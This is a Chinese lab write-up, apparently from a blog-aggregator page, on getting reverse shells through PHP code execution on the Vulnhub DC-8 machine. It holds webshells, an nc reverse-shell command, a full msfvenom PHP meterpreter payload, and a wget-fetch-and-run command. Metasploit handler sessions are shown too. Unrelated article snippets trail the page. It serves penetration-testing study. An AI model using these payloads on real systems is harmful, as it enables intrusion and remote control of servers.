可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell,详情见Vulnhub-DC-8

命令执行

拿nc举例

<?php
echo system($_POST['cmd']);
?>

利用是hackbar,POST提交cmd=nc -e /bin/sh 192.168.20.128 6666,
直接反弹shell到kali。

一句话木马

<?php
eval($_POST["pass"]);
?>

拿蚁剑,哥斯拉等工具连接,如果连接不稳定还可以把shell再弹到kali上。

msf

php

msfvenom是生成payload(有效载荷)的,msfconsole是启动利用以及其他模块的。

  1. 首先用msfvenom生成php的payload
    msfvenom可以用msfvenom -l查看所有的payload类型
    -p指定payload类型,LHOST LPORT是指定监听IP和端口(kali)
┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=7777 
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1115 bytes
/*<?php /**/ error_reporting(0); $ip = '192.168.20.128'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

生成的内容,放在靶机PHP Code处
在这里插入图片描述

  1. msfconsole进行监听
    use exploit/multi/handler进入到msf侦听模块,设置payload类型,监听IP和端口
┌──(root㉿kali)-[/home/kali/Desktop]
└─# msfconsole                                                              
Metasploit tip: Use the edit command to open the currently active module 
in your editor.:okOOOkdc'           'cdkOOOko:.                                                                                                                        .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.                                                                                                                      :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:                                                                                                                     'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'                                                                                                                    oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo                                                                                                                    dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx                                                                                                                    lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl                                                                                                                    .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.                                                                                                                    cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc                                                                                                                     oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo                                                                                                                      lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl                                                                                                                       ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;                                                                                                                        .dOOo'WM.OOOOocccxOOOO.MX'xOOd.                                                                                                                         ,kOl'M.OOOOOOOOOOOOO.M'dOk,                                                                                                                           :kk;.OOOOOOOOOOOOO.;Ok:                                                                                                                             ;kOOOOOOOOOOOOOOOk:                                                                                                                               ,xOOOOOOOOOOOx,                                                                                                                                 .lOOOOOOOl.                                                                                                                                   ,dOd,                                                                                                                                      .                                                                                                                                        =[ metasploit v6.4.5-dev                           ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]Metasploit Documentation: https://docs.metasploit.com/msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show optionsPayload options (generic/shell_reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST                   yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----0   Wildcard TargetView the full module info with the info, or info -d command.msf6 exploit(multi/handler) > set LHOST 192.168.20.128
LHOST => 192.168.20.128
msf6 exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options Payload options (php/meterpreter/reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST  192.168.20.128   yes       The listen address (an interface may be specified)LPORT  7777             yes       The listen portExploit target:Id  Name--  ----0   Wildcard TargetView the full module info with the info, or info -d command.
  1. 配置完毕,让靶机执行PHP代码,msf运行exploit
    等待靶机上线。
msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.20.128:7777 
whoamiid
ls
[*] Sending stage (39927 bytes) to 192.168.20.143
[*] Meterpreter session 3 opened (192.168.20.128:7777 -> 192.168.20.143:37834) at 2024-06-14 13:41:24 +0800meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > ls
Listing: /var/www/html
======================Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100640/rw-r-----  317     fil   2019-05-09 00:01:03 +0800  .editorconfig
100640/rw-r-----  174     fil   2019-05-09 00:01:03 +0800  .gitignore
100640/rw-r-----  6112    fil   2019-05-09 00:01:03 +0800  .htaccess
100640/rw-r-----  114096  fil   2019-05-09 00:01:03 +0800  CHANGELOG.txt
100640/rw-r-----  1481    fil   2019-05-09 00:01:03 +0800  COPYRIGHT.txt
100640/rw-r-----  1717    fil   2019-05-09 00:01:03 +0800  INSTALL.mysql.txt
100640/rw-r-----  1874    fil   2019-05-09 00:01:03 +0800  INSTALL.pgsql.txt
100640/rw-r-----  1298    fil   2019-05-09 00:01:03 +0800  INSTALL.sqlite.txt
100640/rw-r-----  17995   fil   2019-05-09 00:01:03 +0800  INSTALL.txt
100640/rw-r-----  18092   fil   2016-11-17 07:57:05 +0800  LICENSE.txt
100640/rw-r-----  8663    fil   2019-05-09 00:01:03 +0800  MAINTAINERS.txt
100640/rw-r-----  5382    fil   2019-05-09 00:01:03 +0800  README.txt
100640/rw-r-----  10123   fil   2019-05-09 00:01:03 +0800  UPGRADE.txt
100640/rw-r-----  6604    fil   2019-05-09 00:01:03 +0800  authorize.php
100640/rw-r-----  720     fil   2019-05-09 00:01:03 +0800  cron.php
040750/rwxr-x---  4096    dir   2019-05-09 00:01:03 +0800  includes
100640/rw-r-----  529     fil   2019-05-09 00:01:03 +0800  index.php
100640/rw-r-----  703     fil   2019-05-09 00:01:03 +0800  install.php
040750/rwxr-x---  4096    dir   2019-05-09 00:01:03 +0800  misc
040750/rwxr-x---  4096    dir   2019-05-09 00:01:03 +0800  modules
040750/rwxr-x---  4096    dir   2019-05-09 00:01:03 +0800  profiles
100640/rw-r-----  2189    fil   2019-05-09 00:01:03 +0800  robots.txt
040750/rwxr-x---  4096    dir   2019-05-09 00:01:03 +0800  scripts
040750/rwxr-x---  4096    dir   2019-05-09 00:01:03 +0800  sites
040750/rwxr-x---  4096    dir   2019-05-09 00:01:03 +0800  themes
100640/rw-r-----  19986   fil   2019-05-09 00:01:03 +0800  update.php
100640/rw-r-----  2200    fil   2019-05-09 00:01:03 +0800  web.config
100640/rw-r-----  417     fil   2019-05-09 00:01:03 +0800  xmlrpc.php

linux

  1. 首先生成利用脚本
┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─#  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=7777 -f elf > pass
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes┌──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# ls    
46996.sh  dir  pass  pass.sh  reports  source.txt

用python开启简易http服务器

──(root㉿kali)-[/home/kali/Desktop/DC-8]
└─# python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
  1. 修改靶机PHP Code
    <?php system("wget 192.168.20.128:4444/pass -O /tmp/pass;cd /tmp;chmod +x pass;./pass &")?>
    靶机下载脚本,加权,执行。
    在这里插入图片描述
  2. 在msfconsole开启监听
    修改LHOST,LPORT,payload
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options Payload options (generic/shell_reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST                   yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----0   Wildcard TargetView the full module info with the info, or info -d command.msf6 exploit(multi/handler) > set LHOST 192.128.20.128
LHOST => 192.128.20.128
msf6 exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show optionsPayload options (linux/x86/meterpreter/reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST  192.128.20.128   yes       The listen address (an interface may be specified)LPORT  7777             yes       The listen portExploit target:Id  Name--  ----0   Wildcard TargetView the full module info with the info, or info -d command.msf6 exploit(multi/handler) > exploit [-] Handler failed to bind to 192.128.20.128:7777:-  -
[*] Started reverse TCP handler on 0.0.0.0:7777 
[*] Sending stage (1017704 bytes) to 192.168.20.143
[*] Meterpreter session 1 opened (192.168.20.128:7777 -> 192.168.20.143:37844) at 2024-06-14 14:31:38 +0800meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > ls
Listing: /tmp
=============Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  675   fil   2024-06-13 20:19:52 +0800  .htaccess
100744/rwxr--r--  3720  fil   2024-06-13 22:11:44 +0800  46996.sh
100755/rwxr-xr-x  208   fil   2024-06-14 14:21:23 +0800  pass
100744/rwxr--r--  3584  fil   2024-06-13 22:17:57 +0800  pass.sh
  1. 之后可以在msf搜索可利用的模块

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/350718.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL学习笔记-进阶篇-SQL优化

SQL优化 插入数据 insert优化 1&#xff09;批量插入 insert into tb_user values(1,Tom),(2,Cat),(3,Jerry); 2&#xff09;手动提交事务 mysql 默认是自动提交事务&#xff0c;这样会导致频繁的开启和提交事务&#xff0c;影响性能 start transaction insert into tb_us…

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

【设计模式深度剖析】【8】【行为型】【备忘录模式】| 以后悔药为例加深理解

&#x1f448;️上一篇:观察者模式 设计模式-专栏&#x1f448;️ 文章目录 备忘录模式定义英文原话直译如何理解呢&#xff1f; 3个角色1. Memento&#xff08;备忘录&#xff09;2. Originator&#xff08;原发器&#xff09;3. Caretaker&#xff08;负责人&#xff09;类…

Unity基础(三)3D场景搭建

目录 简介: 一.下载新手资源 二.创建基本地形 三.添加场景细节 四,添加水 五,其他 六. 总结 简介: 在 Unity 中进行 3D 场景搭建是创建富有立体感和真实感的虚拟环境的关键步骤。 首先&#xff0c;需要导入各种 3D 模型资源&#xff0c;如建筑物、角色、道具等。这些模…

181.二叉树:验证二叉树(力扣)

代码解决 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}* Tre…

Linux rm命令由于要删的文件太多报-bash: /usr/bin/rm:参数列表过长,无法删除的解决办法

银河麒麟系统&#xff0c;在使用rm命令删除文件时报了如下错误&#xff0c;删不掉&#xff1a; 查了一下&#xff0c;原因就是要删除的文件太多了&#xff0c;例如我当前要删的文件共有这么多&#xff1a; 查到了解决办法&#xff0c;记录在此。需要使用xargs命令来解决参数列表…

【Vue】Pinia管理用户数据

Pinia管理用户数据 基本思想&#xff1a;Pinia负责用户数据相关的state和action&#xff0c;组件中只负责触发action函数并传递参数 步骤1&#xff1a;创建userStore 1-创建store/userStore.js import { loginAPI } from /apis/user export const useUserStore defineStore(…

ADS基础教程20 - 电磁仿真(EM)参数化

EM介绍 一、引言二、参数化设置1.参数定义2.参数赋值3.创建EM模型和符号 四、总结 一、引言 参数化EM仿真&#xff0c;是在Layout环境下创建参数&#xff0c;相当于在原理图中声明变量。 二、参数化设置 1.参数定义 1&#xff09;在Layout视图&#xff0c;菜单栏中选中EM&g…

鸿蒙 游戏来了 鸿蒙版 五子棋来了 我不允许你不会

团队介绍 作者:徐庆 团队:坚果派 公众号:“大前端之旅” 润开鸿生态技术专家,华为HDE,CSDN博客专家,CSDN超级个体,CSDN特邀嘉宾,InfoQ签约作者,OpenHarmony布道师,电子发烧友专家博客,51CTO博客专家,擅长HarmonyOS/OpenHarmony应用开发、熟悉服务卡片开发。欢迎合…

SpringBoot整合H2数据库并将其打包成jar包、转换成exe文件

SpringBoot整合H2数据库并将其打包成jar包、转换成exe文件 H2 是一个用 Java 开发的嵌入式数据库&#xff0c;它的主要特性使其成为嵌入式应用程序的理想选择。H2 仅是一个类库&#xff0c;可以直接嵌入到应用项目中&#xff0c;而无需独立安装客户端和服务器端。 常用开源数…

随笔-来了,安了

依照领导定的规矩&#xff0c;周五又去了分公司&#xff0c;赋能一线去了。到了地方就是开会->现场解决问题->干饭->开会过需求、提供解决方案&#xff0c;充实得厉害。强度也不小&#xff0c;中午干的一大碗饭&#xff0c;到五点就饿了。 六点带着分公司催着上线的需…

【TypeScript】类型兼容(协变、逆变和双向协变)

跟着小满zs 学习 ts&#xff0c;原文&#xff1a;学习TypeScript进阶类型兼容_typescript进阶阶段类型兼容 小满-CSDN博客 类型兼容&#xff0c;就是用于确定一个类型是否能赋值给其他的类型。如果A要兼容B 那么A至少具有B相同的属性。 // 主类型 interface A {name: string,a…

微信小程序毕业设计-智慧消防系统项目开发实战(附源码+论文)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;微信小程序毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计…

OpenCV 4.10 发布

OpenCV 4.10 JPEG 解码速度提升 77%&#xff0c;实验性支持 Wayland、Win ARM64 根据 “OpenCV 中国团队” 介绍&#xff0c;从 4.10 开始 OpenCV 对 JPEG 图像的读取和解码有了 77% 的速度提升&#xff0c;超过了 scikit-image、imageio、pillow。 4.10 版本的一些亮点&…

高考志愿填报和未来的职业规划

高考成绩出来那一刻&#xff0c;我们就站在了人生的岔路口上&#xff0c;面临这不同的选择&#xff0c;走不同的路线、过不同的生活...... 除了成绩会决定一个人的未来走向之外&#xff0c;报考的专业和学校影响也是终身。高考志愿填报和未来职业规划应该息息相关&#xff0c;…

npm install 的原理

1. 执行命令发生了什么 &#xff1f; 执行命令后&#xff0c;会将安装相关的依赖&#xff0c;依赖会存放在根目录的node_modules下&#xff0c;默认采用扁平化的方式安装&#xff0c;排序规则为&#xff1a;bin文件夹为第一个&#xff0c;然后是开头系列的文件夹&#xff0c;后…

【Java】解决Java报错:FileNotFoundException

文章目录 引言1. 错误详解2. 常见的出错场景2.1 文件路径错误2.2 文件名拼写错误2.3 文件权限问题2.4 文件路径未正确拼接 3. 解决方案3.1 检查文件路径3.2 使用相对路径和类路径3.3 检查文件权限3.4 使用文件选择器 4. 预防措施4.1 使用配置文件4.2 使用日志记录4.3 使用单元测…

鸿蒙用 BuilderParam 实现同一个布局不同内容组件

面通过一个案例展示BuilderParam的具体用法&#xff0c;例如&#xff0c;现需要实现一个通用的卡片组件&#xff0c;如下图所示 卡片中显示的内容不固定&#xff0c;例如 具体实现代码如下&#xff1a; Entry Component struct BuildParamDemo {build() {Column(){Card() {imag…

【踩坑日记】I.MX6ULL裸机启动时由于编译的程序链接地址不对造成的程序没正确运行

1 现象 程序完全正确&#xff0c;但是由于程序链接的位置不对&#xff0c;导致程序没有正常运行。 2 寻找原因 对生成的bin文件进行反汇编&#xff1a; arm-linux-gnueabihf-objdump -D -m arm ledc.elf > ledc.dis查看生成的反汇编文件 发现在在链接的开始地址处&…

Redis高并发高可用

1. 复制机制 在分布式系统中&#xff0c;为了解决单点问题&#xff0c;通常会将数据复制多个副本部署到其他机器&#xff0c;以满足故障恢复和负载均衡等需求。Redis提供了复制功能&#xff0c;实现了相同数据的多个Redis副本。复制功能是高可用Redis的基础&#xff0c;后面的…